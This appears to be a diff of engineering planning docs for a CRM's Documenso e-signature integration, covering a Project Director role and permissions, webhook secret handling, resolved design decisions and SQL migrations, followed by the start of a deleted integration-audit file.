||||
---
|
||||
|
||||
## Phase 6 — Polish & deferred items (~2-3 hours each, do as needed)
|
||||
|
||||
- **`auto` send mode delay**: optional per-port `eoi_send_delay_minutes` setting. When set, the auto-send fires after N minutes (BullMQ scheduled job) so the rep can review + cancel during the window. Default 0 (immediate).
|
||||
- **Audit log entries**: every Documenso-related action (generate, send, remind, cancel, sign-event-received) writes to `audit_logs` with structured metadata. Mostly already there for the existing flow; extend to cover Phase 1-3 additions.
|
||||
- **Per-document customization of email copy**: rep can override the default signing-invitation body before send. New textarea in the upload dialog. Stored as `documents.invitation_message`.
|
||||
- **Document expiration**: Documenso supports `expiresAt`. Surface as a per-document field in the upload dialog.
|
||||
- **Reminder rate-limit display**: surface "next reminder available in X days" on each unsigned signer in the signing-progress UI.
|
||||
- **Failed-webhook recovery UI**: admin page showing webhooks that errored, with a "Replay" button. Old system has the foundation; CRM doesn't.
|
||||
|
||||
---
|
||||
|
||||
## Phase 7 — Project Director role + RBAC layer (~6-8 hours)
|
||||
|
||||
> **Surfaced from Q8 conversation.** The `developer` signer slot is conceptually the "Project Director" — the person at the port who countersigns deals on behalf of the port. Today every CRM user is either a sales rep or admin; there's no Project Director user role. Attack alongside the Documenso build because (a) the Documenso developer-label setting is meaningless if no user actually has the role, and (b) a few permissions naturally cluster around it.
|
||||
|
||||
### What a Project Director needs (vs sales rep)
|
||||
|
||||
| Capability | Sales rep | Project Director | Admin |
|
||||
| -------------------------------------------------------- | --------- | ---------------- | ----------------------------- |
|
||||
| Generate EOI / contract / reservation | ✓ | ✓ | ✓ |
|
||||
| Approve / sign as the "developer" recipient on Documenso | — | ✓ | — (unless also designated PD) |
|
||||
| View own deals | ✓ | ✓ | ✓ |
|
||||
| View other reps' deals | — | ✓ | ✓ |
|
||||
| View audit logs (read-only) | — | ✓ | ✓ |
|
||||
| Trigger CSV / report exports | — | ✓ | ✓ |
|
||||
| Re-assign deals between reps | — | ✓ | ✓ |
|
||||
| Edit per-port settings | — | — | ✓ |
|
||||
| Manage users + invitations | — | — | ✓ |
|
||||
| Manage Documenso config | — | — | ✓ |
|
||||
|
||||
So Project Director sits between sales rep and admin: read-everywhere + a few action capabilities (re-assign, export, sign-as-PD), but no settings/user management.
|
||||
|
||||
### Tasks
|
||||
|
||||
1. **Add `project_director` to the role enum** in `src/lib/db/schema/users.ts` (or wherever port_roles enum lives). Existing role values (sales, admin, super_admin) stay; this is additive.
|
||||
|
||||
2. **Permission flags**: extend the per-port permissions matrix (`src/lib/auth/permissions.ts` or equivalent) with new flags:
|
||||
- `viewAllDeals` — true for project_director, admin, super_admin
|
||||
- `viewAuditLogs` — true for project_director, admin, super_admin
|
||||
- `exportReports` — true for project_director, admin, super_admin
|
||||
- `reassignDeals` — true for project_director, admin, super_admin
|
||||
- `signAsProjectDirector` — true for project_director only (admin can sign as PD only if also assigned the role on this port)
|
||||
|
||||
These flags get checked in the relevant API handlers via the existing `withPermission()` middleware.
|
||||
|
||||
3. **Documenso developer-slot binding**: per-port admin UI gets a "Project Director user" dropdown alongside the existing developer-name/email free-text inputs. When a real CRM user is selected, the admin UI:
|
||||
- Populates `documenso_developer_name/email` from the user's profile (read-only when bound)
|
||||
- When that user signs an EOI/contract via Documenso, the webhook handler can match by user-email and update the in-CRM signing UI in real time (signer chip turns green for them specifically)
|
||||
- Free-text fallback stays for ports without a CRM-PD user yet
|
||||
|
||||
4. **User invitations + role selection**: extend `src/components/admin/invite-user-dialog.tsx` to surface "Project Director" alongside Sales / Admin as a selectable role at invitation time.
|
||||
|
||||
5. **Audit-log access**: surface a new `/[portSlug]/admin/audit-log` route (or extend the existing one's permission gate) so Project Directors can read but not write. Hide write controls for non-admins.
|
||||
|
||||
6. **Reports page permission gate**: existing `/[portSlug]/reports` (or wherever exports live) checks `exportReports` permission flag instead of admin-only.
|
||||
|
||||
7. **Re-assign deals UI**: add a "Re-assign owner" action on the interest detail page, gated by `reassignDeals`. Writes to `interests.owner_user_id` (or whatever the assigned-rep field is) and audit-logs the change.
|
||||
|
||||
### Schema migration
|
||||
|
||||
```sql
|
||||
-- Add project_director as a valid role; depends on how roles are stored.
|
||||
-- If port_roles uses an enum:
|
||||
ALTER TYPE port_role ADD VALUE 'project_director';
|
||||
-- Or if it's a text column with check constraint:
|
||||
ALTER TABLE port_roles DROP CONSTRAINT port_roles_role_check;
|
||||
ALTER TABLE port_roles ADD CONSTRAINT port_roles_role_check
|
||||
CHECK (role IN ('sales', 'admin', 'super_admin', 'project_director'));
|
||||
|
||||
-- Optional: link the per-port Documenso developer slot to a real user
|
||||
ALTER TABLE system_settings ADD COLUMN IF NOT EXISTS user_id text REFERENCES users(id) ON DELETE SET NULL;
|
||||
-- (Used for the documenso_developer_user_id setting; null for free-text fallback)
|
||||
```
|
||||
|
||||
### Acceptance criteria
|
||||
|
||||
- A user invited as `project_director` can view all deals across the port (not just their own), read audit logs, trigger exports, and re-assign deals — but cannot edit settings or invite users
|
||||
- Admin can bind a CRM user to the per-port Documenso developer slot; the user's name + email auto-populate in invitations and emails
|
||||
- Non-PD users cannot trigger PD-only actions (server returns 403; UI hides the controls)
|
||||
- Existing sales / admin / super_admin permissions are unchanged
|
||||
|
||||
### Why attack at the same time as the Documenso build
|
||||
|
||||
- Both touch `port-config.ts` and `admin/documenso/page.tsx` — fewer rebases if done in one push
|
||||
- The `documenso_developer_label` setting (Q8 bonus) and the PD-user binding overlap; doing them together avoids re-touching the same admin card twice
|
||||
- The Documenso webhook's per-signer matching benefits from having a real `users.email` to bind against, not just a free-text developer name
|
||||
|
||||
### Out of scope (defer to a later RBAC pass)
|
||||
|
||||
- Custom permission templates (e.g. "PD with no audit-log access")
|
||||
- Per-deal ACLs (sharing a single interest with another rep)
|
||||
- Time-bound role grants
|
||||
- Cross-port role overrides for super_admin
|
||||
|
||||
---
|
||||
|
||||
## Risks + decisions (resolved through code review)
|
||||
|
||||
Each entry below was checked against the current code. The original "open question" form is preserved in italics for traceability; the **Decision** is what the next session should implement.
|
||||
|
||||
---
|
||||
|
||||
### 1. `fieldMeta` on Documenso v1.32
|
||||
|
||||
_Q: Does v1.32 silently ignore unknown properties, or does it reject the request?_
|
||||
|
||||
**Decision: not a risk in current code.** [src/lib/services/documenso-client.ts:491-501](../src/lib/services/documenso-client.ts#L491) shows the v1 path constructs its own body containing only `recipientId, type, pageNumber, pageX/Y/Width/Height` — `fieldMeta` is never sent on v1. The code comment at [line 341-344](../src/lib/services/documenso-client.ts#L341) is misleading — update it. Action for next session: change the comment to "v1 does not receive `fieldMeta` (we never send it). v1 renders TEXT/NUMBER/CHECKBOX/DROPDOWN/RADIO as blank inputs; if the per-port admin chose v1 the field UI should warn 'Configurable field types require Documenso v2'." The placement UI in Phase 4d should disable the meta-config side panel when the resolved port is on v1.
|
||||
|
||||
### 2. PDF dimension extraction (non-A4 contracts)
|
||||
|
||||
_Q: How do we get real page dimensions on the v1 path?_
|
||||
|
||||
**Decision: parse the PDF with pdf-lib in the upload service before calling `placeFields()`.** pdf-lib is already a transitive dep via the EOI form-fill flow ([src/lib/pdf/fill-eoi-form.ts](../src/lib/pdf/fill-eoi-form.ts)). Concrete change for Phase 3:
|
||||
|
||||
```ts
|
||||
// In src/lib/services/custom-document-upload.service.ts
|
||||
import { PDFDocument } from 'pdf-lib';
|
||||
const pdfDoc = await PDFDocument.load(pdfBuffer);
|
||||
const pageDims = pdfDoc.getPages().map((p) => {
|
||||
const { width, height } = p.getSize();
|
||||
return { width, height };
|
||||
});
|
||||
// Pass to placeFields as a per-page dimension map override
|
||||
```
|
||||
|
||||
Then extend `placeFields` signature to accept an optional `pageDimensionsOverride?: DocumensoPageDimensions[]` (one entry per page). When provided, the v1 path uses `pageDimensionsOverride[fieldPageIndex]` instead of [`getPageDimensions()`'s A4 default](../src/lib/services/documenso-client.ts#L427). Falls back to A4 when override is missing — keeps the EOI template path (which IS A4) unchanged.
|
||||
|
||||
### 3. Multi-page signature blocks not picked up by auto-detect
|
||||
|
||||
_Q: What's the recovery path if the scanner misses a signature block on the last page?_
|
||||
|
||||
**Decision: not a risk — by design.** Phase 4d's drag-drop overlay + field palette is the explicit fallback. Auto-detect populates initial state; rep MUST be able to add fields manually. The acceptance criterion at the end of Phase 4 already covers this. Demoted from "risk" to "design note": every page must be reachable in the PDF viewer (Phase 4b's page navigation) and the field palette must be enabled even on auto-detected pages.
|
||||
|
||||
### 4. Webhook payload differences v1 vs v2
|
||||
|
||||
_Q: Does our webhook handler decode both v1 and v2 payload shapes correctly?_
|
||||
|
||||
**Decision: partially confirmed; finish the audit in Phase 2.** Confirmed working today:
|
||||
|
||||
- Secret transport: identical (`X-Documenso-Secret` plaintext) — see [route.ts:53](../src/app/api/webhooks/documenso/route.ts#L53)
|
||||
- Event names: both versions send the uppercase Prisma enum (`DOCUMENT_SIGNED`); CLAUDE.md note documents this. The route also normalizes lowercase-dotted variants for forward-compat.
|
||||
- Top-level shape `{ event, payload: { id, ... } }`: same on both versions
|
||||
|
||||
Still unverified (defer to Phase 2 implementation):
|
||||
|
||||
- v2 may rename `payload.id` → `payload.documentId` and `recipient.id` → `recipient.recipientId` (mirrors the API-response rename — see [src/lib/services/documenso-client.ts](../src/lib/services/documenso-client.ts) `normalizeDocument()`). Apply the same dual-field read pattern in the webhook handler: `const docId = payload.documentId ?? payload.id`.
|
||||
- v2 may include `payload.envelopeId` instead of `payload.id` for envelope-level events (DOCUMENT_COMPLETED). Read both.
|
||||
- Recipient token field: v1 uses `recipient.token`; v2 may differ. Phase 2's token-based matching (step 5) needs to handle both.
|
||||
|
||||
Test with a v2 instance during Phase 2; until then keep the per-port API version setting on v1 only.
|
||||
|
||||
### 5. `approver` role → `cc` URL mapping
|
||||
|
||||
_Q: How do we keep the website's signing page (which only routes `client | cc | developer`) working when our `SignerRole` includes `approver | witness | other`?_
|
||||
|
||||
**Decision: confirmed bug in current code; fix in Phase 5.** [Website route validation](../../Port%20Nimara/Website/pages/sign/%5Btype%5D/%5Btoken%5D.vue#L175) explicitly redirects to `/sign/error` for any `signerType` not in `['client', 'cc', 'developer']`. Our [transformSigningUrl()](../src/lib/services/document-signing-emails.service.ts#L106) emits `${host}/sign/${signerRole}/${token}` with the raw `SignerRole` value. Today, an `approver` invite would land on `/sign/error`.
|
||||
|
||||
Concrete fix in `transformSigningUrl()`:
|
||||
|
||||
```ts
|
||||
const ROLE_TO_URL_SEGMENT: Record<SignerRole, 'client' | 'cc' | 'developer'> = {
|
||||
client: 'client',
|
||||
developer: 'developer',
|
||||
approver: 'cc', // legacy: approver showed as "EmbeddedSignatureLinkCC"
|
||||
witness: 'cc', // route through cc page; copy needs a witness override (Phase 5)
|
||||
other: 'cc',
|
||||
};
|
||||
const urlRole = ROLE_TO_URL_SEGMENT[signerRole];
|
||||
return `${host}/sign/${urlRole}/${token}`;
|
||||
```
|
||||
|
||||
Two follow-ups for Phase 5:
|
||||
|
||||
- Add the mapping above to `transformSigningUrl()` — DO this in Phase 1 already since Phase 1 fires the first invitation email.
|
||||
- Update website's `signerMessages` (currently EOI-specific) to be keyed on `(documentType, signerType)` so contract+reservation invites get the right copy — see Phase 5 task 2.
|
||||
|
||||
### 6. Storage backend for signed PDFs
|
||||
|
||||
_Q: Does the on-completion download in Phase 2 use the pluggable storage backend?_
|
||||
|
||||
**Decision: confirmed — pattern already established, just follow it.** [`getStorageBackend()`](../src/lib/storage/index.ts) is used by 9 services in the codebase (berth-pdf, brochures, expense-pdf, invoices, gdpr-export, reports, document-templates, document-sends, email-compose). The [`documents` schema](../src/lib/db/schema/documents.ts) already has the `signedFileId` column with index `idx_docs_signed_file_id`. Phase 2 step 4 is just: `const buffer = await downloadSignedPdf(docId, portId); const file = await ingestFile({ buffer, portId, ... }); await db.update(documents).set({ signedFileId: file.id })...`. Demoted from "risk" to "implementation note" inside Phase 2.
|
||||
|
||||
### 7. Cross-port webhook secret collision
|
||||
|
||||
_Q: Can two ports happen to share the same webhook secret?_
|
||||
|
||||
**Decision: real risk — fix at write-time, not schema.** [system_settings](../src/lib/db/schema/system.ts#L137) is unique on `(key, port_id)`, so the same key+port combo is enforced unique, but there's no global uniqueness on the _value_. The [webhook handler](../src/app/api/webhooks/documenso/route.ts#L62) iterates all configured secrets and breaks on first match — if two ports paste the same secret, the second port's webhooks get attributed to the first. Three options, in preference order:
|
||||
|
||||
**Option A (recommended): generate, never paste.** Replace the textbox in [admin/documenso/page.tsx](<../src/app/(dashboard)/[portSlug]/admin/documenso/page.tsx>) for `documenso_webhook_secret` with a "Generate secret" button that calls `crypto.randomBytes(32).toString('base64url')` server-side and writes it. Display once, mask after. Collision probability is negligible. Admin still has a "Regenerate" button for rotation.
|
||||
|
||||
**Option B: warn at write.** Keep the textbox but on PUT to the setting, query `system_settings WHERE key='documenso_webhook_secret' AND value=?` and fail with a 409 if any other port has this value. Cheap, defensive, but exposes that a value exists somewhere.
|
||||
|
||||
**Option C: schema-level enforcement.** Add a partial unique index `CREATE UNIQUE INDEX system_settings_documenso_secret_unique ON system_settings (value) WHERE key = 'documenso_webhook_secret'`. Strongest, but requires careful ordering during port-clone or restore-from-backup operations.
|
||||
|
||||
Pick Option A. Add to Phase 1 as a polish item — small change, eliminates the risk class.
|
||||
|
||||
---
|
||||
|
||||
## Open questions — RESOLVED 2026-05-07
|
||||
|
||||
All 10 questions plus the bonus role-label question have user-locked answers. Implementation must follow these decisions; do not re-litigate.
|
||||
|
||||
### Q1. Reminder cadence — RESOLVED
|
||||
|
||||
**Decision**: **Manual reminders by default.** Rep clicks a "Send reminder" button in the EOI/Contract tab. Per-document opt-in: rep can configure auto-reminders on a specific doc at send time (e.g. "remind every 7 days until signed").
|
||||
|
||||
**Implications**:
|
||||
|
||||
- No port-wide reminder schedule setting needed.
|
||||
- Phase 1 / 2: skip the BullMQ scheduled-reminder job for now. Add a `POST /api/v1/documents/[id]/send-reminder` endpoint that calls `sendSigningReminder()` for the next-pending signer. Track `last_reminder_sent_at` to enforce Documenso's 24h rate limit on the UI ("Next reminder available in X").
|
||||
- Phase 4a (upload dialog): add an optional "Auto-reminder schedule" field — None (default) / Every 3d / Every 7d. When set, store on `documents.auto_reminder_interval_days`; a once-daily worker iterates unsigned documents and fires due reminders.
|
||||
|
||||
### Q2. Document expiration — RESOLVED
|
||||
|
||||
**Decision**: **Never expire by default.** No expiration UI in v1. Skip Documenso's `expiresAt` entirely.
|
||||
|
||||
**Reasoning**: link expiration doesn't help the regenerate flow (regen already voids+recreates). Adding the UI is overhead with no immediate user benefit.
|
||||
|
||||
**Implications**:
|
||||
|
||||
- Phase 3 `uploadDocumentForSigning`: don't expose `expiresAt`.
|
||||
- Phase 4a recipient configurator: no expiration field.
|
||||
- Phase 6 deferred-items list: drop the "Document expiration" item.
|
||||
|
||||
### Q3. Auto-detect confidence threshold — RESOLVED
|
||||
|
||||
**Decision**: **Default ≥0.8 silent / 0.5–0.8 flagged / <0.5 drop**, with the drag-drop overlay (Phase 4d) as the universal fix mechanism — rep can reposition or delete any auto-placed field.
|
||||
|
||||
**Implications**:
|
||||
|
||||
- Phase 4c scanner: emit `DetectedField.confidence`; threshold checks live in the UI layer (Phase 4d) so they're easy to tune.
|
||||
- Phase 4d overlay: flagged fields render with a yellow border + "?" badge; rep can click to confirm-as-correct (clears the badge) or drag/delete.
|
||||
|
||||
### Q4. Approver semantics — RESOLVED
|
||||
|
||||
**Decision**: **TWO concepts, not one.**
|
||||
|
||||
1. **APPROVER** = real Documenso `APPROVER` recipient. Gates signing flow (e.g. client signs → approver approves → developer signs). Configured per-port (existing `documenso_approver_name/email` settings).
|
||||
2. **Completion CC** = passive recipient. Does NOT participate in signing. Receives only the final signed PDF as attachment when the doc completes. Set per-document by the rep at send time.
|
||||
|
||||
**Implications**:
|
||||
|
||||
- Phase 3 `uploadDocumentForSigning` recipients: support `role: 'SIGNER' | 'APPROVER' | 'CC'`. CCs are NOT created as Documenso recipients — they're stored on `documents.completion_cc_emails` (text array) and emailed by our own service when DOCUMENT_COMPLETED webhook fires.
|
||||
- Phase 4a recipient configurator: split into two sections:
|
||||
- **Signing recipients**: name + email + role (Signer / Approver) + signing order
|
||||
- **Copy on completion** (CC): just email addresses, comma-separated
|
||||
- Phase 2 step 4 (on-completion email distribution): include `documents.completion_cc_emails` recipients with the signed PDF. Dedup by email (see Q5).
|
||||
- Schema migration: `ALTER TABLE documents ADD COLUMN completion_cc_emails text[] DEFAULT '{}'::text[];`
|
||||
|
||||
### Q5. On-completion PDF distribution — RESOLVED
|
||||
|
||||
**Decision**: **All signing recipients + rep who generated + per-deal CC**, deduplicated by email address.
|
||||
|
||||
**Implications**:
|
||||
|
||||
- Phase 2 step 4: build the recipient list as union of (a) all `document_signers` for this doc, (b) the user who created the doc (`documents.createdBy` → `users.email`), (c) `documents.completion_cc_emails`. Lowercase + dedupe before calling `sendSigningCompleted`.
|
||||
- Common case (rep IS the approver): one email, not two.
|
||||
- Per-port distribution list (originally proposed) is NOT needed — the per-deal CC field covers it. If a port wants `legal@portnimara.com` on every deal, the rep types it once per doc; if it's truly always-on, add a port-default later (deferred to Phase 6).
|
||||
|
||||
### Q6. `documenso_contract_template_id` / `documenso_reservation_template_id` — RESOLVED
|
||||
|
||||
**Decision**: **DROP both settings. EOI is the only template-driven flow.** Contracts and reservations are custom-uploaded per deal — no template fallback.
|
||||
|
||||
**Implications**:
|
||||
|
||||
- Remove `documenso_contract_template_id` and `documenso_reservation_template_id` from `port-config.ts` `SETTING_KEYS` and `PortDocumensoConfig` type.
|
||||
- Remove the corresponding fields from `admin/documenso/page.tsx`. Card title becomes "Templates" with just the EOI template ID field.
|
||||
- Phase 3: contract/reservation tabs go straight into the upload dialog — no `if (templateId) { ... }` branch.
|
||||
- Locked design decisions table at top of this doc: update the "Contract / Reservation generation" row to remove the template-fallback option.
|
||||
|
||||
### Q7. Witness role — RESOLVED
|
||||
|
||||
**Decision**: **First-class. Configurable per-document at generation time.** Witness goes through the full invitation/reminder/tracking flow same as any other signer; signs the document attesting to having witnessed.
|
||||
|
||||
**Implications**:
|
||||
|
||||
- Keep `witness` in `SignerRole`.
|
||||
- Phase 4a recipient configurator: "Witness" is a selectable role in the role dropdown (alongside Signer / Approver / CC).
|
||||
- Phase 5 website edit: add witness copy to `signerMessages` map ("Witness this signing of…"). Add `witness` to the validated role list at line 175 of `[type]/[token].vue` — currently `['client', 'cc', 'developer']`, becomes `['client', 'cc', 'developer', 'witness']`.
|
||||
- Risk #5 mapping in `transformSigningUrl()`: `witness → 'witness'` (NOT mapped to `cc`). Update the role-to-URL-segment table accordingly.
|
||||
- Witness gets the same reminder/auto-reminder support as any signer — no special-casing.
|
||||
|
||||
### Q8. Multiple developers/approvers per port — RESOLVED (with rename)
|
||||
|
||||
**Decision**: **Stay single per port** for the standard `developer` and `approver` slots. If a port needs more on a custom doc, the rep adds extra signers via the upload-for-signing dialog (Phase 4a recipient configurator).
|
||||
|
||||
**Plus the bonus**: the per-port "developer" label IS configurable via a new `documenso_developer_label` setting (default: "Developer"). Used in email subjects, signer chips, and signing-progress UI. Backend type-name stays `developer` so no schema churn.
|
||||
|
||||
**Implications**:
|
||||
|
||||
- Add `documenso_developer_label` and `documenso_approver_label` to `SETTING_KEYS` + `PortDocumensoConfig`.
|
||||
- Admin UI in `documenso/page.tsx` Signers card: each signer card gets a "Display label" input next to name/email.
|
||||
- Email templates in `document-signing.ts`: read the label from the per-port branding config and use it in copy ("Your Project Director, {{name}}, has signed…").
|
||||
- **Open follow-up (out of scope for Documenso build)**: the user mentioned the project-director user MIGHT need different CRM permissions/access from a sales rep (e.g. exclusive audit-log access, more prominent reports). That's a separate RBAC initiative — note it on the audit backlog and don't action here.
|
||||
|
||||
### Q9. Field placement draft persistence — RESOLVED
|
||||
|
||||
**Decision**: **No persistence.** If the rep closes the dialog mid-placement, state is lost.
|
||||
|
||||
**Implications**:
|
||||
|
||||
- Phase 4 architecture: keep all placement state in React component state. No localStorage, no DB drafts table.
|
||||
- Add a confirm-close on the dialog if the rep has placed any fields ("Discard placement work?").
|
||||
|
||||
### Q10. Embedded signing host fallback — RESOLVED
|
||||
|
||||
**Decision**: **Send raw Documenso URLs** when host is unset. The Documenso API already returns a working signing URL per recipient (e.g. `https://signatures.portnimara.dev/sign/<token>`); `transformSigningUrl()` returns this raw URL untouched when `embeddedSigningHost` is null/empty (current behaviour, see [document-signing-emails.service.ts:106-117](../src/lib/services/document-signing-emails.service.ts#L106)).
|
||||
|
||||
**Implications**:
|
||||
|
||||
- Phase 1: no behaviour change in `transformSigningUrl()`. The current null-host short-circuit IS the fallback.
|
||||
- Add a banner in the EOI/Contract tab when port has unset `embedded_signing_host` and at least one outstanding doc: "Signing emails currently link to signatures.portnimara.dev directly. Configure an embedded host in admin for branded signing pages."
|
||||
- No new env var. No blocking-on-send.
|
||||
|
||||
---
|
||||
|
||||
## Schema migration summary (resolved)
|
||||
|
||||
Combining all resolved decisions, the migrations needed are:
|
||||
|
||||
```sql
|
||||
-- Phase 1 (also covers Phase 2's lifecycle tracking)
|
||||
ALTER TABLE document_signers ADD COLUMN invited_at timestamptz;
|
||||
ALTER TABLE document_signers ADD COLUMN opened_at timestamptz;
|
||||
ALTER TABLE document_signers ADD COLUMN last_reminder_sent_at timestamptz;
|
||||
ALTER TABLE document_signers ADD COLUMN signing_token text;
|
||||
CREATE INDEX idx_ds_signing_token ON document_signers (signing_token);
|
||||
|
||||
-- Phase 1 / Q4 (completion CCs are per-document)
|
||||
ALTER TABLE documents ADD COLUMN completion_cc_emails text[] DEFAULT '{}'::text[];
|
||||
|
||||
-- Phase 1 / Q1 (auto-reminder opt-in per document)
|
||||
ALTER TABLE documents ADD COLUMN auto_reminder_interval_days integer;
|
||||
```
|
||||
|
||||
## Settings to add / remove (resolved)
|
||||
|
||||
**Add to `SETTING_KEYS` + `PortDocumensoConfig`:**
|
||||
|
||||
- `documenso_developer_label` (text, default "Developer") — Q8 bonus
|
||||
- `documenso_approver_label` (text, default "Approver") — Q8 bonus
|
||||
|
||||
**Remove from `SETTING_KEYS` + `PortDocumensoConfig`:**
|
||||
|
||||
- `documenso_contract_template_id` — Q6
|
||||
- `documenso_reservation_template_id` — Q6
|
||||
|
||||
**Remove from admin UI** (`admin/documenso/page.tsx`):
|
||||
|
||||
- Contract template ID input — Q6
|
||||
- Reservation template ID input — Q6
|
||||
|
||||
**Add to admin UI:**
|
||||
|
||||
- Display-label inputs next to developer + approver name/email pairs — Q8 bonus
|
||||
|
||||
---
|
||||
|
||||
**Status**: Plan is now fully resolved. Phase 1 can start without further clarification.
|
||||
|
||||
---
|
||||
|
||||
## Quick file reference
|
||||
|
||||
**Existing — modify in place:**
|
||||
|
||||
- `src/lib/services/documenso-client.ts` (extend createDocument for v2; add recipient management functions)
|
||||
- `src/lib/services/port-config.ts` (no changes expected)
|
||||
- `src/lib/email/index.ts` (consider: add raw-Buffer attachment option to skip MinIO round-trip for one-off PDFs)
|
||||
- `src/app/api/webhooks/documenso/route.ts` (Phase 2 — major rewrite)
|
||||
- `src/components/interests/interest-contract-tab.tsx` (replace ComingSoonDialog with UploadForSigningDialog in Phase 4)
|
||||
- `src/components/interests/interest-reservation-tab.tsx` (same)
|
||||
- `src/components/documents/eoi-generate-dialog.tsx` (Phase 1 — add regenerate confirm)
|
||||
|
||||
**New files to create:**
|
||||
|
||||
- `src/lib/services/custom-document-upload.service.ts` (Phase 3)
|
||||
- `src/lib/services/document-field-detector.ts` (Phase 4c)
|
||||
- `src/components/documents/upload-for-signing-dialog.tsx` (Phase 4)
|
||||
- `src/components/documents/pdf-field-canvas.tsx` (Phase 4b/4d)
|
||||
- `src/components/documents/recipient-configurator.tsx` (Phase 4a)
|
||||
- `src/components/documents/field-palette-toolbar.tsx` (Phase 4d)
|
||||
- `src/components/documents/field-config-side-panel.tsx` (Phase 4d)
|
||||
- `src/app/api/v1/documents/[id]/send-invitation/route.ts` (Phase 1)
|
||||
- `src/app/api/v1/interests/[id]/upload-for-signing/route.ts` (Phase 3)
|
||||
- DB migrations for `document_signers.invited_at` etc. (Phase 1, Phase 2)
|
||||
@@ -1,252 +0,0 @@
|
||||
# Documenso integration audit
|
||||
|
||||
Reference for the multi-port Documenso signing pipeline in this CRM. Mirrors the legacy client portal's flow ([generate-quick-eoi.ts](../client-portal/server/api/eoi/generate-quick-eoi.ts), [documeso.ts](../client-portal/server/utils/documeso.ts), [documenso.post.ts](../client-portal/server/api/webhooks/documenso.post.ts), [website /sign/[type]/[token].vue](../../Port%20Nimara/Website/pages/sign/%5Btype%5D/%5Btoken%5D.vue)) but rewired for multi-tenant + better-auth + Drizzle.
|
||||
|
||||
---
|
||||
|
||||
## Per-port configuration
|
||||
|
||||
All Documenso settings live in `system_settings` keyed by `(key, port_id)` and are read via [`getPortDocumensoConfig(portId)`](../src/lib/services/port-config.ts). Falls back to env vars when no per-port row exists. Surfaced in the admin UI at `/[portSlug]/admin/documenso`.
|
||||
|
||||
| Setting key | Type | Purpose |
|
||||
| ----------------------------------- | --------------------------------- | ----------------------------------------------------------------------------------- |
|
||||
| `documenso_api_url_override` | string | Per-port Documenso instance URL. Falls back to `DOCUMENSO_API_URL` env. |
|
||||
| `documenso_api_key_override` | string | API key. Stored plaintext. |
|
||||
| `documenso_api_version_override` | `'v1' \| 'v2'` | Different ports may run different Documenso versions. |
|
||||
| `documenso_eoi_template_id` | int | Template ID for EOI generation. |
|
||||
| `documenso_client_recipient_id` | int | Template recipient slot — client (signing order 1). |
|
||||
| `documenso_developer_recipient_id` | int | Template recipient slot — developer (signing order 2). |
|
||||
| `documenso_approval_recipient_id` | int | Template recipient slot — approver (signing order 3). |
|
||||
| `documenso_developer_name` | string | Display name for developer signer (legacy hardcoded "David Mizrahi"). |
|
||||
| `documenso_developer_email` | string | Developer signer email. |
|
||||
| `documenso_approver_name` | string | Approver display name. |
|
||||
| `documenso_approver_email` | string | Approver email. |
|
||||
| `documenso_webhook_secret` | string | Per-port webhook secret. Receiver tries each enabled secret with timing-safe equal. |
|
||||
| `eoi_default_pathway` | `'documenso-template' \| 'inapp'` | Which path is used when EOI is generated without explicit choice. |
|
||||
| `eoi_send_mode` | `'auto' \| 'manual'` | Auto = send branded invitation email immediately; manual = rep clicks Send. |
|
||||
| `embedded_signing_host` | string | Public host that wraps Documenso URLs into `{host}/sign/<type>/<token>`. |
|
||||
| `documenso_contract_template_id` | int (optional) | Optional template for sales contracts. Blank = upload-and-place-fields per deal. |
|
||||
| `documenso_reservation_template_id` | int (optional) | Optional template for reservation agreements. Same logic as contract. |
|
||||
|
||||
---
|
||||
|
||||
## Document type matrix
|
||||
|
||||
| Type | Generation flow | Signers | Field placement |
|
||||
| --------------- | ----------------------------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------- |
|
||||
| **EOI** | Documenso template (`eoi_template_id`) + form-fill values | Static: client, developer, approver (per-port) | Templated — fields baked into Documenso template |
|
||||
| **Contract** | Per-deal upload (drafted custom). Template fallback if configured | Custom per deal — rep specifies | Per-deal placement — default footer-anchored fallback |
|
||||
| **Reservation** | Per-deal upload OR template if configured | Custom per deal | Per-deal placement |
|
||||
|
||||
## Documenso field types
|
||||
|
||||
Custom-uploaded documents (contracts, reservations) need a per-deal field placement step — different documents need different mixes. The CRM exposes the full Documenso-supported field palette so reps can place whatever the document calls for without code changes.
|
||||
|
||||
| Field type | Use case | Needs `fieldMeta`? | What goes in meta |
|
||||
| ---------------- | ------------------------------------------------------- | ------------------ | --------------------------------------------------- |
|
||||
| `SIGNATURE` | Drawn signature — almost every signing flow | No | — |
|
||||
| `FREE_SIGNATURE` | Type-or-draw signature variant | No | — |
|
||||
| `INITIALS` | Per-page initials block | No | — |
|
||||
| `DATE` | Auto-fills the date when the recipient signs | No | — |
|
||||
| `EMAIL` | Auto-fills the recipient's email | No | — |
|
||||
| `NAME` | Auto-fills the recipient's name | No | — |
|
||||
| `TEXT` | Free text input (e.g. address, notes, place of signing) | Yes | `{ text?, label?, required?, readOnly? }` |
|
||||
| `NUMBER` | Numeric input with optional min/max | Yes | `{ numberFormat?, min?, max?, required? }` |
|
||||
| `CHECKBOX` | Boolean / single checkbox | Yes | `{ values: [{ checked, value }], validationRule? }` |
|
||||
| `DROPDOWN` | Pick from a fixed list | Yes | `{ values: [{ value }], defaultValue? }` |
|
||||
| `RADIO` | Mutually-exclusive options | Yes | `{ values: [{ checked, value }] }` |
|
||||
|
||||
Helper: [`fieldTypeNeedsMeta(type)`](../src/lib/services/documenso-client.ts) returns true for the configurable types so the placement UI knows when to surface a config side-panel.
|
||||
|
||||
`fieldMeta` is forwarded verbatim by [`placeFields()`](../src/lib/services/documenso-client.ts) on the v2 path. v1 silently ignores the property — fields render as blank inputs. Configurable behaviour (validation, defaults) only fires on v2 instances.
|
||||
|
||||
---
|
||||
|
||||
## Documenso v1 vs v2 endpoint mapping
|
||||
|
||||
The [`documenso-client.ts`](../src/lib/services/documenso-client.ts) abstracts both. Each function picks v1 or v2 from `getPortDocumensoConfig(portId).apiVersion`.
|
||||
|
||||
| Operation | v1 (1.13–1.32) | v2.x |
|
||||
| ------------------------------- | --------------------------------------------------------------------------- | --------------------------------------------------------- |
|
||||
| Create document from upload | `POST /api/v1/documents` (body: `{ title, document, recipients }`) | `POST /api/v2/envelope` |
|
||||
| Generate document from template | `POST /api/v1/templates/{id}/generate-document` | (template-from-envelope path) |
|
||||
| Send for signing | `POST /api/v1/documents/{id}/send` | `POST /api/v2/envelope/{id}/send` |
|
||||
| Place a field | `POST /api/v1/documents/{id}/fields` (PIXEL coords, one at a time) | `POST /api/v2/envelope/field/create-many` (PERCENT, bulk) |
|
||||
